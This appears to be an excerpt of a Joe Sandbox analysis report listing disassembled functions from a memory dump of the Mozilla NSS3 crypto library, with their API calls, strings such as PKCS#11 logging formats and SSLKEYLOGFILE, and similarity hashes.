PR_Unlock.NSS3(?), ref: 6CBB3066
PR_SetError.NSS3(00000000,00000000), ref: 6CBB3085
PR_Unlock.NSS3(?), ref: 6CBB30EC
TlsGetValue.KERNEL32 ref: 6CBB310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CBB3124
PR_Unlock.NSS3(?), ref: 6CBB314C

Part of subcall function 6CB99180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CBC379E,?,6CB99568,00000000,?,6CBC379E,?,00000001,?), ref: 6CB9918D
Part of subcall function 6CB99180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CBC379E,?,6CB99568,00000000,?,6CBC379E,?,00000001,?), ref: 6CB991A0

Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607AD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607CD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607D6
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAF204A), ref: 6CB607E4
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,6CAF204A), ref: 6CB60864
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB60880
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,6CAF204A), ref: 6CB608CB
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608D7
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608FB

PR_SetError.NSS3(00000000,00000000), ref: 6CBB316D

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: cf790f304627186c370b9cd175e4441d1d44efca875942713f5a6538f78e9721
Instruction ID: edab9417a79d1a7ea436a0b921f366822f8a1f1fea8a123a364318b217df4cc7
Opcode Fuzzy Hash: cf790f304627186c370b9cd175e4441d1d44efca875942713f5a6538f78e9721
Instruction Fuzzy Hash: 1CF17AB5D006489FDF00DF69D884BAEBBB8FF09318F544169E804A7711EB31E995CB92

Function 6CBAAF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6CBAAF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBAAF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBAAF83

Part of subcall function 6CC8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBAAF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CBAAFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CBAAFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CBAAFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CBAB00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CBAB028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6CBAB041

Strings

pSignature = 0x%p, xrefs: 6CBAB023
(CK_INVALID_HANDLE), xrefs: 6CBAAF7C
pulSignatureLen = 0x%p, xrefs: 6CBAB03C
hSession = 0x%x, xrefs: 6CBAAF5E, 6CBAAF6E
pParameter = 0x%p, xrefs: 6CBAAFB9
pData = 0x%p, xrefs: 6CBAAFEF
C_SignMessage, xrefs: 6CBAAF41
ulDataLen = %d, xrefs: 6CBAB00A
ulParameterLen = 0x%p, xrefs: 6CBAAFD4

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
API String ID: 1003633598-1612141141
Opcode ID: 9d0601349e5eba1352c0625c48b59becc2fc0aad5a91816160c33243f92b6407
Instruction ID: 42c25c879f31f3ca27dffdd1bc0f94888804a26e7f5658ae67602f59dc94d40b
Opcode Fuzzy Hash: 9d0601349e5eba1352c0625c48b59becc2fc0aad5a91816160c33243f92b6407
Instruction Fuzzy Hash: 6841F535602094FFDB108F94DC58E8EBBB5EB4630EF088065F81897A11E731AC5ACBA5

Function 6CBDC980 Relevance: 33.3, APIs: 22, Instructions: 298memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,6CBDAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CBDC98E

Part of subcall function 6CBD0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB787ED,00000800,6CB6EF74,00000000), ref: 6CBD1000
Part of subcall function 6CBD0FF0: PR_NewLock.NSS3(?,00000800,6CB6EF74,00000000), ref: 6CBD1016
Part of subcall function 6CBD0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB787ED,00000008,?,00000800,6CB6EF74,00000000), ref: 6CBD102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,6CBDAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CBDC9A1

Part of subcall function 6CBD10C0: TlsGetValue.KERNEL32(?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD10F3
Part of subcall function 6CBD10C0: EnterCriticalSection.KERNEL32(?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD110C
Part of subcall function 6CBD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD1141
Part of subcall function 6CBD10C0: PR_Unlock.NSS3(?,?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD1182
Part of subcall function 6CBD10C0: TlsGetValue.KERNEL32(?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD119C

SECOID_FindOIDByTag_Util.NSS3(0000001A,?,?,?,6CBDAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CBDC9D3

Part of subcall function 6CBD0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBD08B4

SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000,?,?,?,?,6CBDAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CBDC9E6

Part of subcall function 6CBCFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBC8D2D,?,00000000,?), ref: 6CBCFB85
Part of subcall function 6CBCFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBCFBB1

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,6CBDAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CBDC9F5
PORT_ArenaAlloc_Util.NSS3(00000000,00000050,?,?,?,?,?,?,?,6CBDAEB0,?,00000004,00000001,?,00000000,?), ref: 6CBDCA0A
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001,?,?,?,?,?,?,?,?,?,6CBDAEB0,?,00000004,00000001), ref: 6CBDCA33
SECOID_FindOIDByTag_Util.NSS3(00000019,?,?,?,?,?,?,?,?,?,?,?,?,6CBDAEB0,?,00000004), ref: 6CBDCA4D
SECITEM_CopyItem_Util.NSS3(00000001,?,00000000), ref: 6CBDCA60
SEC_PKCS7DestroyContentInfo.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CBDAEB0,?,00000004), ref: 6CBDCA6D
PR_Now.NSS3 ref: 6CBDCAD6
PORT_ArenaMark_Util.NSS3(00000000), ref: 6CBDCB23
PORT_ArenaAlloc_Util.NSS3(00000000,0000005C), ref: 6CBDCB32
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001), ref: 6CBDCB64
SECOID_SetAlgorithmID_Util.NSS3(00000000,?,00000001,00000000), ref: 6CBDCBBB
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CBDCBD0
PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CBDCBF6
PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CBDCC18
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000001,00000000), ref: 6CBDCC39
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CBDCC5B

Part of subcall function 6CBD10C0: PL_ArenaAllocate.NSS3(?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD116E

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CBDCC69
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CBDCC89

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$CopyItem_$AlgorithmAllocateArena_EncodeFindInteger_Tag_Value$ContentCriticalDestroyEnterErrorFreeInfoInitLockMark_PoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1766420342-0
Opcode ID: 117a7b7b799f3ed2fa5160d6a0979585c607c645c8b59a2be23862fec3411a77
Instruction ID: d2d67647f5548df68c941849aeabb08b6d1544d4d3c0831e451a5d481f418551
Opcode Fuzzy Hash: 117a7b7b799f3ed2fa5160d6a0979585c607c645c8b59a2be23862fec3411a77
Instruction Fuzzy Hash: E3B1AFB5E002869FEB00DFA4DC40BAE77B5FF18308F164165E904A7751EB71E994CBA2

Function 6CBB6CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBB6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CBB6943
Part of subcall function 6CBB6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CBB6957
Part of subcall function 6CBB6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CBB6972
Part of subcall function 6CBB6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CBB6983
Part of subcall function 6CBB6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CBB69AA
Part of subcall function 6CBB6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CBB69BE
Part of subcall function 6CBB6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CBB69D2
Part of subcall function 6CBB6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CBB69DF
Part of subcall function 6CBB6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CBB6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CBB6D8C
free.MOZGLUE(00000000), ref: 6CBB6DC5
free.MOZGLUE(?), ref: 6CBB6DD6
free.MOZGLUE(?), ref: 6CBB6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CBB6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CBB6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CBB6E72
free.MOZGLUE(?), ref: 6CBB6EA7
free.MOZGLUE(?), ref: 6CBB6EC4
free.MOZGLUE(?), ref: 6CBB6ED5
free.MOZGLUE(00000000), ref: 6CBB6EE3
free.MOZGLUE(?), ref: 6CBB6EF4
free.MOZGLUE(?), ref: 6CBB6F08
free.MOZGLUE(00000000), ref: 6CBB6F35
free.MOZGLUE(?), ref: 6CBB6F44
free.MOZGLUE(?), ref: 6CBB6F5B
free.MOZGLUE(00000000), ref: 6CBB6F65

Part of subcall function 6CBB6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CBB781D,00000000,6CBABE2C,?,6CBB6B1D,?,?,?,?,00000000,00000000,6CBB781D), ref: 6CBB6C40
Part of subcall function 6CBB6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CBB781D,?,6CBABE2C,?), ref: 6CBB6C58
Part of subcall function 6CBB6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CBB781D), ref: 6CBB6C6F
Part of subcall function 6CBB6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CBB6C84
Part of subcall function 6CBB6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CBB6C96
Part of subcall function 6CBB6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CBB6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CBB6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CBB6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CBB6FF4

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: 971ac06925482674defaefe2623551cb3d6e78b45f299f07aa34122a8ee3eec2
Instruction ID: a7ab7405bb8c87b0ac1bd95b3e1aa9c7d75ac8aa22cb3127ecf03a93717d93f3
Opcode Fuzzy Hash: 971ac06925482674defaefe2623551cb3d6e78b45f299f07aa34122a8ee3eec2
Instruction Fuzzy Hash: CAB15EB1E012999BDF04DBA5D845BAEBBB4EF09348F140029E815F7640EB31ED55CBA2

Function 6CBB4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CBB4C4C
EnterCriticalSection.KERNEL32(?), ref: 6CBB4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CBB4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CBB4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CBB4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBB4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBB4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CBB4DB7

Part of subcall function 6CC1DD70: TlsGetValue.KERNEL32 ref: 6CC1DD8C
Part of subcall function 6CC1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC1DDB4

Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607AD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607CD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607D6
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAF204A), ref: 6CB607E4
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,6CAF204A), ref: 6CB60864
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB60880
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,6CAF204A), ref: 6CB608CB
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608D7
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608FB

TlsGetValue.KERNEL32 ref: 6CBB4DD7
EnterCriticalSection.KERNEL32(?), ref: 6CBB4DEC
PR_Unlock.NSS3(?), ref: 6CBB4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CBB4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBB4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CBB4E71
free.MOZGLUE(00000000), ref: 6CBB4E7A
PR_Unlock.NSS3(?), ref: 6CBB4EA2
TlsGetValue.KERNEL32 ref: 6CBB4EC1
EnterCriticalSection.KERNEL32(?), ref: 6CBB4ED6
PR_Unlock.NSS3(?), ref: 6CBB4F01
free.MOZGLUE(00000000), ref: 6CBB4F2A

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 7141dc32b33eafd13fe5d96ae0a3b0f271737fd099b30814e7ef2d677cdf8d82
Instruction ID: 2ef13b5b049a2998a3addcf2fd70a598b432f231c4924fe9de7d110642e153eb
Opcode Fuzzy Hash: 7141dc32b33eafd13fe5d96ae0a3b0f271737fd099b30814e7ef2d677cdf8d82
Instruction Fuzzy Hash: B0B1D075A002459FDF01EF69D884AAA77B4FF09318F144128ED15A7B01EB34EA65CFD2

Function 6CC06E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CC06BF7), ref: 6CC06EB6

Part of subcall function 6CB61240: TlsGetValue.KERNEL32(00000040,?,6CB6116C,NSPR_LOG_MODULES), ref: 6CB61267
Part of subcall function 6CB61240: EnterCriticalSection.KERNEL32(?,?,?,6CB6116C,NSPR_LOG_MODULES), ref: 6CB6127C
Part of subcall function 6CB61240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CB6116C,NSPR_LOG_MODULES), ref: 6CB61291
Part of subcall function 6CB61240: PR_Unlock.NSS3(?,?,?,?,6CB6116C,NSPR_LOG_MODULES), ref: 6CB612A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CCAFC0A,6CC06BF7), ref: 6CC06ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CC06EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CC06EFC
PR_NewLock.NSS3 ref: 6CC06F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC06F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CC06BF7), ref: 6CC06F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CC06BF7), ref: 6CC06F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CC06BF7), ref: 6CC06FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CC06BF7), ref: 6CC06FFD

Strings

NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CC06FDB
SSLKEYLOGFILE, xrefs: 6CC06EB1
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CC06FF8
SSLFORCELOCKS, xrefs: 6CC06F2B
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CC06F4F
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CC06EF7

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: e723af356c2df04dbae9940a580adb3c3b0f2361ac854f58deb4d8c633e9fab9
Instruction ID: 3d07ceaed8fb997769e66acace4853fd5b94929ccd8299faee97917159c55912
Opcode Fuzzy Hash: e723af356c2df04dbae9940a580adb3c3b0f2361ac854f58deb4d8c633e9fab9
Instruction Fuzzy Hash: 64A1E5B2B59D9186F7144A3DC80134937B2BB93329F5843AAE931C6ED5FB37A481D341

Function 6CB7C4B0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 247COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB7C4D5

Part of subcall function 6CBCBE30: SECOID_FindOID_Util.NSS3(6CB8311B,00000000,?,6CB8311B,?), ref: 6CBCBE44

NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6CB7C516
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6CB7C530
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB7C54E
NSS_GetAlgorithmPolicy.NSS3(00000000,00000000), ref: 6CB7C5CB
VFY_VerifyDataWithAlgorithmID.NSS3(00000002,?,?,?,?,?,?), ref: 6CB7C712
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6CB7C725
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CB7C742
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CB7C751
PL_FinishArenaPool.NSS3(?), ref: 6CB7C77A
NSS_GetAlgorithmPolicy.NSS3(?,00000000), ref: 6CB7C78F
NSS_GetAlgorithmPolicy.NSS3(?,00000000), ref: 6CB7C7A9

Strings

security, xrefs: 6CB7C63F

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Algorithm$Policy$Util$ErrorTag_$ArenaDataFindFinishPoolVerifyWith
String ID: security
API String ID: 1085474831-3315324353
Opcode ID: a19424ee6651297561a1daf2ac6cca3f72cee209c4abeb680b001286e7a34f93
Instruction ID: 6efe3367a08cdc88c62ea4ba3d1dd4d95a1ae00de54cbc3d7e8992c335515b42
Opcode Fuzzy Hash: a19424ee6651297561a1daf2ac6cca3f72cee209c4abeb680b001286e7a34f93
Instruction Fuzzy Hash: E5811A71C011889BEF20EA54DC81BEE7774EF1131CF24412DED25A7A51E725EA49CBB2

Function 6CBA6D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6CBA6D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBA6DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBA6DC3

Part of subcall function 6CC8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBA6DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CBA6DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CBA6E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6CBA6E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6CBA6E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6CBA6EB9

Strings

(CK_INVALID_HANDLE), xrefs: 6CBA6DBC
hSession = 0x%x, xrefs: 6CBA6D9E, 6CBA6DAE
*pulDigestLen = 0x%x, xrefs: 6CBA6EB4
pData = 0x%p, xrefs: 6CBA6DF5
ulDataLen = %d, xrefs: 6CBA6E0E
pulDigestLen = 0x%p, xrefs: 6CBA6E42
C_Digest, xrefs: 6CBA6D81
pDigest = 0x%p, xrefs: 6CBA6E27

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
